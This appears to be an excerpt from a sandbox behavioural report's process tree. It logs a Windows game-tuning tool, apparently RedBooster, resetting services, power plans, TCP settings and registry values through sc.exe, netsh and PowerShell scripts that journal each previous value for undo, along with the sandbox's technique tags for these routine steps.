- C:\Windows\system32\sc.exe
  "sc" config MapsBroker start= delayed-auto
  2⤵
  - Launches sc.exe
  PID:4468
- C:\Windows\system32\sc.exe
  "sc" config lfsvc start= demand
  2⤵
  - Launches sc.exe
  PID:4136
- C:\Windows\system32\sc.exe
  "sc" config RetailDemo start= demand
  2⤵
  - Launches sc.exe
  PID:204
- C:\Windows\system32\sc.exe
  "sc" config WMPNetworkSvc start= demand
  2⤵
  - Launches sc.exe
  PID:1020
- C:\Windows\system32\sc.exe
  "sc" config WpnService start= auto
  2⤵
  - Launches sc.exe
  PID:3240
- C:\Windows\system32\sc.exe
  "sc" start WpnService
  2⤵
  - Launches sc.exe
  PID:3792
- C:\Windows\system32\sc.exe
  "sc" config WbioSrvc start= demand
  2⤵
  - Launches sc.exe
  PID:7008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue' function RB-Emit($label,$ok,$detail){ $s = if($ok){'OK'}else{'FAIL'} $d = (\"$detail\" -replace '[\r\n\t]+',' ') Write-Output (\"STEP`t{0}`t{1}`t{2}\" -f $label,$s,$d) } function RB-Reg($root,$path,$name,$type,$val,$label){ $p = \"$($root):\$path\" try{ # Journal the CURRENT value before overwriting it, so the change can be undone later even if # this feature is no longer installed. Every RB-Reg call site gets undo for free. RB-Journal 'fps' $root $path $name if(-not(Test-Path -LiteralPath $p)){ New-Item -Path $p -Force -ErrorAction Stop | Out-Null } New-ItemProperty -LiteralPath $p -Name $name -PropertyType $type -Value $val -Force -ErrorAction Stop | Out-Null RB-Emit $label $true '' }catch{ RB-Emit $label $false $_.Exception.Message } } $rbAcSkip='easyanticheat|beservice|battleye|^vgc$|vgtray|vanguard|sguard|ace-base|anticheatexpert|gameguard|npggnt|nprotect|faceit|mhyprot|^cod$|modernwarfare|warzone|blackops|cod22-cod|valorant|fortniteclient-win64|r5apex|tslgame|rainbowsix|rustclient|destiny2|bedaisy|easyanticheat_eos|vgc|vgk|npggsvc|acegameguard|aceac|sgguard' $RBJournalPath = 'C:\Users\Admin\AppData\Local\RedBooster\undo.jsonl' $RBModule = 'fps' function RB-Journal($module,$root,$path,$name){ try { $p = \"$($root):\$path\" $prev = $null $kind = 'regdword' if (Test-Path -LiteralPath $p) { $item = Get-ItemProperty -LiteralPath $p -Name $name -ErrorAction SilentlyContinue if ($item -ne $null -and ($item.PSObject.Properties.Name -contains $name)) { $prev = $item.$name } } if ($prev -ne $null -and $prev -isnot [int] -and $prev -isnot [long]) { $kind = 'regstring'; $prev = [string]$prev } $rec = [ordered]@{ module=$module; kind=$kind; root=$root; path=$path; name=$name; prev=$prev } $line = ($rec | ConvertTo-Json -Compress -Depth 3) $dir = Split-Path -Parent $RBJournalPath if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } Add-Content -LiteralPath $RBJournalPath -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function RB-JournalP($module,$full,$name){ try { $f = [string]$full # Accept 'HKLM:\path', 'HKLM:path', 'Registry::HKEY_LOCAL_MACHINE\path' and PSPath forms. $f = $f -replace '^Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $f = $f -replace '^Registry::HKEY_USERS\\?', 'HKU:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $i = $f.IndexOf(':') if ($i -lt 1) { return } $root = $f.Substring(0, $i) $sub = $f.Substring($i + 1).TrimStart('\') if ($root -eq 'HKEY_LOCAL_MACHINE') { $root = 'HKLM' } if ($root -eq 'HKEY_CURRENT_USER') { $root = 'HKCU' } RB-Journal $module $root $sub $name } catch { } } # Proxy the two registry-writing cmdlets so EVERY inline write in every script is journalled # without touching ~80 individual call sites. A PowerShell function shadows a cmdlet of the same # name, so these intercept the call, record the previous value, then delegate to the real cmdlet # by its fully-qualified name with the caller's arguments passed through untouched. # # Every parameter shape used in this codebase is covered by a test (see the `test-proxy` script # and `parses_records_written_by_powershell`): named -Path, positional path, -LiteralPath, # -PropertyType vs -Type, -Force, -ErrorAction, and the `Get-ChildItem | %{ ... $_.PSPath }` # pipeline form. `ValueFromRemainingArguments` absorbs anything unforeseen so an unexpected # parameter can never turn a registry write into a hard error. function New-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$PropertyType, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\New-ItemProperty @PSBoundParameters } function Set-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$Type, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\Set-ItemProperty @PSBoundParameters } $LASTEXITCODE=0; powercfg /setactive 381b4222-f694-41f0-9685-ff5bb260df2e *> $null if($LASTEXITCODE -eq 0){ RB-Emit 'Restore Balanced power plan' $true '' } else { RB-Emit 'Restore Balanced power plan' $false (\"exit \"+$LASTEXITCODE) } $svcs=@( @{n='SysMain';s='auto';r=$true}, @{n='WSearch';s='delayed-auto';r=$true}, @{n='DiagTrack';s='auto';r=$true}, @{n='Spooler';s='auto';r=$true}, @{n='CDPSvc';s='auto';r=$true}, @{n='PhoneSvc';s='demand';r=$false}, @{n='Fax';s='demand';r=$false}, @{n='MapsBroker';s='delayed-auto';r=$false}, @{n='lfsvc';s='demand';r=$false}, @{n='RetailDemo';s='demand';r=$false}, @{n='WMPNetworkSvc';s='demand';r=$false}, @{n='WpnService';s='auto';r=$true}, @{n='WbioSrvc';s='demand';r=$false} ) foreach($x in $svcs){ sc.exe config $x.n start= $x.s *> $null if($x.r){ sc.exe start $x.n *> $null } RB-Emit ('Restore service: '+$x.n) $true '' } RB-Reg 'HKCU' 'System\GameConfigStore' 'GameDVR_Enabled' 'DWord' 1 'Restore Game DVR' RB-Reg 'HKLM' 'SOFTWARE\Policies\Microsoft\Windows\GameDVR' 'AllowGameDVR' 'DWord' 1 'Restore AllowGameDVR' RB-Reg 'HKCU' 'Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects' 'VisualFXSetting' 'DWord' 0 'Restore visual effects' RB-Reg 'HKCU' 'Control Panel\Desktop\WindowMetrics' 'MinAnimate' 'String' '1' 'Restore animations' RB-Reg 'HKCU' 'SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize' 'EnableTransparency' 'DWord' 1 'Restore transparency' RB-Reg 'HKCU' 'Control Panel\Mouse' 'MouseSpeed' 'String' '1' 'Restore mouse speed' RB-Reg 'HKCU' 'Control Panel\Mouse' 'MouseThreshold1' 'String' '6' 'Restore mouse threshold1' RB-Reg 'HKCU' 'Control Panel\Mouse' 'MouseThreshold2' 'String' '10' 'Restore mouse threshold2' RB-Reg 'HKCU' 'Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications' 'GlobalUserDisabled' 'DWord' 0 'Restore background apps' RB-Reg 'HKLM' 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile' 'NetworkThrottlingIndex' 'DWord' 10 'Restore network throttling' RB-Reg 'HKLM' 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile' 'SystemResponsiveness' 'DWord' 20 'Restore system responsiveness' RB-Reg 'HKLM' 'SYSTEM\CurrentControlSet\Control\PriorityControl' 'Win32PrioritySeparation' 'DWord' 2 'Restore Win32PrioritySeparation' $ifs='HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces' Get-ChildItem -LiteralPath $ifs -ErrorAction SilentlyContinue | ForEach-Object { Remove-ItemProperty -LiteralPath $_.PSPath -Name 'TcpAckFrequency' -Force -ErrorAction SilentlyContinue Remove-ItemProperty -LiteralPath $_.PSPath -Name 'TCPNoDelay' -Force -ErrorAction SilentlyContinue } RB-Emit 'Restore Nagle on all interfaces' $true '' netsh int tcp set heuristics enabled *> $null netsh int tcp set global autotuninglevel=normal *> $null netsh int tcp set global ecncapability=default *> $null netsh int tcp set global timestamps=default *> $null netsh int tcp set global rss=default *> $null netsh int tcp set global nonsackrttresiliency=default *> $null netsh int tcp set supplemental template=internet congestionprovider=cubic *> $null RB-Emit 'Restore TCP/IP defaults' $true ''"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Power Settings
  - Hide Artifacts: Ignore Process Interrupts
  PID:1744
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" /setactive 381b4222-f694-41f0-9685-ff5bb260df2e
    3⤵
    - Power Settings
    PID:5756
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config SysMain start= auto
    3⤵
    - Launches sc.exe
    PID:5332
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start SysMain
    3⤵
    - Launches sc.exe
    PID:7084
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WSearch start= delayed-auto
    3⤵
    - Launches sc.exe
    PID:4148
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start WSearch
    3⤵
    - Launches sc.exe
    PID:4500
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config DiagTrack start= auto
    3⤵
    - Launches sc.exe
    PID:1368
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start DiagTrack
    3⤵
    - Launches sc.exe
    PID:4820
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config Spooler start= auto
    3⤵
    - Launches sc.exe
    PID:6244
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start Spooler
    3⤵
    - Launches sc.exe
    PID:6760
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config CDPSvc start= auto
    3⤵
    - Launches sc.exe
    PID:1124
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start CDPSvc
    3⤵
    - Launches sc.exe
    PID:4196
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config PhoneSvc start= demand
    3⤵
    - Launches sc.exe
    PID:6952
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config Fax start= demand
    3⤵
    - Launches sc.exe
    PID:4756
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config MapsBroker start= delayed-auto
    3⤵
    - Launches sc.exe
    PID:3096
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config lfsvc start= demand
    3⤵
    - Launches sc.exe
    PID:4916
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config RetailDemo start= demand
    3⤵
    - Launches sc.exe
    PID:3192
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WMPNetworkSvc start= demand
    3⤵
    - Launches sc.exe
    PID:5600
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WpnService start= auto
    3⤵
    - Launches sc.exe
    PID:6788
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start WpnService
    3⤵
    - Launches sc.exe
    PID:4492
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WbioSrvc start= demand
    3⤵
    - Launches sc.exe
    PID:940
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set heuristics enabled
    3⤵
    PID:2088
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global autotuninglevel=normal
    3⤵
    PID:3424
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global ecncapability=default
    3⤵
    PID:5868
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global timestamps=default
    3⤵
    - System Time Discovery
    PID:6476
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global rss=default
    3⤵
    PID:6384
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global nonsackrttresiliency=default
    3⤵
    PID:2896
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set supplemental template=internet congestionprovider=cubic
    3⤵
    PID:4224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue' function RB-Emit($label,$ok,$detail){ $s = if($ok){'OK'}else{'FAIL'} $d = (\"$detail\" -replace '[\r\n\t]+',' ') Write-Output (\"STEP`t{0}`t{1}`t{2}\" -f $label,$s,$d) } function RB-Reg($root,$path,$name,$type,$val,$label){ $p = \"$($root):\$path\" try{ # Journal the CURRENT value before overwriting it, so the change can be undone later even if # this feature is no longer installed. Every RB-Reg call site gets undo for free. RB-Journal 'fps' $root $path $name if(-not(Test-Path -LiteralPath $p)){ New-Item -Path $p -Force -ErrorAction Stop | Out-Null } New-ItemProperty -LiteralPath $p -Name $name -PropertyType $type -Value $val -Force -ErrorAction Stop | Out-Null RB-Emit $label $true '' }catch{ RB-Emit $label $false $_.Exception.Message } } $rbAcSkip='easyanticheat|beservice|battleye|^vgc$|vgtray|vanguard|sguard|ace-base|anticheatexpert|gameguard|npggnt|nprotect|faceit|mhyprot|^cod$|modernwarfare|warzone|blackops|cod22-cod|valorant|fortniteclient-win64|r5apex|tslgame|rainbowsix|rustclient|destiny2|bedaisy|easyanticheat_eos|vgc|vgk|npggsvc|acegameguard|aceac|sgguard' $RBJournalPath = 'C:\Users\Admin\AppData\Local\RedBooster\undo.jsonl' $RBModule = 'fps' function RB-Journal($module,$root,$path,$name){ try { $p = \"$($root):\$path\" $prev = $null $kind = 'regdword' if (Test-Path -LiteralPath $p) { $item = Get-ItemProperty -LiteralPath $p -Name $name -ErrorAction SilentlyContinue if ($item -ne $null -and ($item.PSObject.Properties.Name -contains $name)) { $prev = $item.$name } } if ($prev -ne $null -and $prev -isnot [int] -and $prev -isnot [long]) { $kind = 'regstring'; $prev = [string]$prev } $rec = [ordered]@{ module=$module; kind=$kind; root=$root; path=$path; name=$name; prev=$prev } $line = ($rec | ConvertTo-Json -Compress -Depth 3) $dir = Split-Path -Parent $RBJournalPath if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } Add-Content -LiteralPath $RBJournalPath -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function RB-JournalP($module,$full,$name){ try { $f = [string]$full # Accept 'HKLM:\path', 'HKLM:path', 'Registry::HKEY_LOCAL_MACHINE\path' and PSPath forms. $f = $f -replace '^Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $f = $f -replace '^Registry::HKEY_USERS\\?', 'HKU:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $i = $f.IndexOf(':') if ($i -lt 1) { return } $root = $f.Substring(0, $i) $sub = $f.Substring($i + 1).TrimStart('\') if ($root -eq 'HKEY_LOCAL_MACHINE') { $root = 'HKLM' } if ($root -eq 'HKEY_CURRENT_USER') { $root = 'HKCU' } RB-Journal $module $root $sub $name } catch { } } # Proxy the two registry-writing cmdlets so EVERY inline write in every script is journalled # without touching ~80 individual call sites. A PowerShell function shadows a cmdlet of the same # name, so these intercept the call, record the previous value, then delegate to the real cmdlet # by its fully-qualified name with the caller's arguments passed through untouched. # # Every parameter shape used in this codebase is covered by a test (see the `test-proxy` script # and `parses_records_written_by_powershell`): named -Path, positional path, -LiteralPath, # -PropertyType vs -Type, -Force, -ErrorAction, and the `Get-ChildItem | %{ ... $_.PSPath }` # pipeline form. `ValueFromRemainingArguments` absorbs anything unforeseen so an unexpected # parameter can never turn a registry write into a hard error. function New-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$PropertyType, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\New-ItemProperty @PSBoundParameters } function Set-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$Type, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\Set-ItemProperty @PSBoundParameters } RB-Reg 'HKLM' 'SYSTEM\CurrentControlSet\Control\GraphicsDrivers' 'HwSchMode' 'DWord' 1 'Hardware GPU Scheduling OFF (HAGS)' RB-Reg 'HKLM' 'SYSTEM\CurrentControlSet\Control\Session Manager\kernel' 'GlobalTimerResolutionRequests' 'DWord' 0 'Reset timer resolution (Windows-managed)' powercfg /setactive 381b4222-f694-41f0-9685-ff5bb260df2e *> $null RB-Emit 'Power plan -> Balanced (lets CPU boost higher)' $true '' $re=@( @{n='WSearch';s='delayed-auto';l='Windows Search'}, @{n='CDPSvc';s='demand';l='Connected Devices (Xbox/account sync)'}, @{n='Spooler';s='auto';l='Print Spooler'}, @{n='SysMain';s='auto';l='SysMain / Superfetch'} ) foreach($x in $re){ sc.exe config $x.n start= $x.s *> $null sc.exe start $x.n *> $null RB-Emit ('Re-enable: '+$x.l) $true '' } $pkgs='Microsoft.GamingApp','Microsoft.XboxApp','Microsoft.GamingServices','Microsoft.XboxIdentityProvider','Microsoft.XboxGameOverlay','Microsoft.XboxGamingOverlay','Microsoft.XboxSpeechToTextOverlay' $done=0 foreach($p in $pkgs){ foreach($x in (Get-AppxPackage -AllUsers -Name $p -ErrorAction SilentlyContinue)){ try{ Add-AppxPackage -DisableDevelopmentMode -Register (\"$($x.InstallLocation)\AppXManifest.xml\") -ErrorAction Stop; $done++ }catch{} } } if($done -gt 0){ RB-Emit 'Restored Xbox / Game Pass apps' $true '' } else { RB-Emit 'Opening Store to reinstall the Xbox app' $false 'Xbox app was removed - install it from the Store page that just opened' Start-Process 'ms-windows-store://pdp/?productid=9MV0B5HZVK9Z' -ErrorAction SilentlyContinue }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Power Settings
  - Hide Artifacts: Ignore Process Interrupts
  PID:5368
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" /setactive 381b4222-f694-41f0-9685-ff5bb260df2e
    3⤵
    - Power Settings
    PID:5372
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WSearch start= delayed-auto
    3⤵
    - Launches sc.exe
    PID:5400
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start WSearch
    3⤵
    - Launches sc.exe
    PID:1228
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config CDPSvc start= demand
    3⤵
    - Launches sc.exe
    PID:1784
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start CDPSvc
    3⤵
    - Launches sc.exe
    PID:3568
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config Spooler start= auto
    3⤵
    - Launches sc.exe
    PID:5556
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start Spooler
    3⤵
    - Launches sc.exe
    PID:6724
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config SysMain start= auto
    3⤵
    - Launches sc.exe
    PID:3252
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start SysMain
    3⤵
    - Launches sc.exe
    PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue';function S($l,$t){Write-Output \"$l|$t\"};$RBJournalPath = 'C:\Users\Admin\AppData\Local\RedBooster\undo.jsonl' $RBModule = 'gametools' function RB-Journal($module,$root,$path,$name){ try { $p = \"$($root):\$path\" $prev = $null $kind = 'regdword' if (Test-Path -LiteralPath $p) { $item = Get-ItemProperty -LiteralPath $p -Name $name -ErrorAction SilentlyContinue if ($item -ne $null -and ($item.PSObject.Properties.Name -contains $name)) { $prev = $item.$name } } if ($prev -ne $null -and $prev -isnot [int] -and $prev -isnot [long]) { $kind = 'regstring'; $prev = [string]$prev } $rec = [ordered]@{ module=$module; kind=$kind; root=$root; path=$path; name=$name; prev=$prev } $line = ($rec | ConvertTo-Json -Compress -Depth 3) $dir = Split-Path -Parent $RBJournalPath if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } Add-Content -LiteralPath $RBJournalPath -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function RB-JournalP($module,$full,$name){ try { $f = [string]$full # Accept 'HKLM:\path', 'HKLM:path', 'Registry::HKEY_LOCAL_MACHINE\path' and PSPath forms. $f = $f -replace '^Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $f = $f -replace '^Registry::HKEY_USERS\\?', 'HKU:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $i = $f.IndexOf(':') if ($i -lt 1) { return } $root = $f.Substring(0, $i) $sub = $f.Substring($i + 1).TrimStart('\') if ($root -eq 'HKEY_LOCAL_MACHINE') { $root = 'HKLM' } if ($root -eq 'HKEY_CURRENT_USER') { $root = 'HKCU' } RB-Journal $module $root $sub $name } catch { } } # Proxy the two registry-writing cmdlets so EVERY inline write in every script is journalled # without touching ~80 individual call sites. A PowerShell function shadows a cmdlet of the same # name, so these intercept the call, record the previous value, then delegate to the real cmdlet # by its fully-qualified name with the caller's arguments passed through untouched. # # Every parameter shape used in this codebase is covered by a test (see the `test-proxy` script # and `parses_records_written_by_powershell`): named -Path, positional path, -LiteralPath, # -PropertyType vs -Type, -Force, -ErrorAction, and the `Get-ChildItem | %{ ... $_.PSPath }` # pipeline form. `ValueFromRemainingArguments` absorbs anything unforeseen so an unexpected # parameter can never turn a registry write into a hard error. function New-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$PropertyType, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\New-ItemProperty @PSBoundParameters } function Set-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$Type, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\Set-ItemProperty @PSBoundParameters } foreach ($a in (Get-NetAdapter -Physical -ErrorAction SilentlyContinue)) { try { Reset-NetAdapterAdvancedProperty -Name $a.Name -DisplayName '*' -ErrorAction Stop; S 'ok' \"$($a.Name): advanced settings reset to default\" } catch {} } $prof='HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile' Set-ItemProperty $prof -Name 'NetworkThrottlingIndex' -Value 10 -Type DWord -Force Set-ItemProperty $prof -Name 'SystemResponsiveness' -Value 20 -Type DWord -Force S 'ok' 'Network throttling / responsiveness back to Windows defaults' $ifaces='HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces' Get-ChildItem $ifaces -ErrorAction SilentlyContinue | ForEach-Object { Remove-ItemProperty $_.PSPath -Name 'TcpAckFrequency' -ErrorAction SilentlyContinue; Remove-ItemProperty $_.PSPath -Name 'TCPNoDelay' -ErrorAction SilentlyContinue } S 'ok' 'Nagle overrides removed' & netsh int tcp set global autotuninglevel=normal 2>&1 | Out-Null S 'ok' 'NIC reverted to Windows defaults.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  PID:5952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};Get-CimInstance Win32_StartupCommand -ErrorAction SilentlyContinue | ForEach-Object { ($_.Name + '|' + $_.Location + '|' + $_.Command) }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
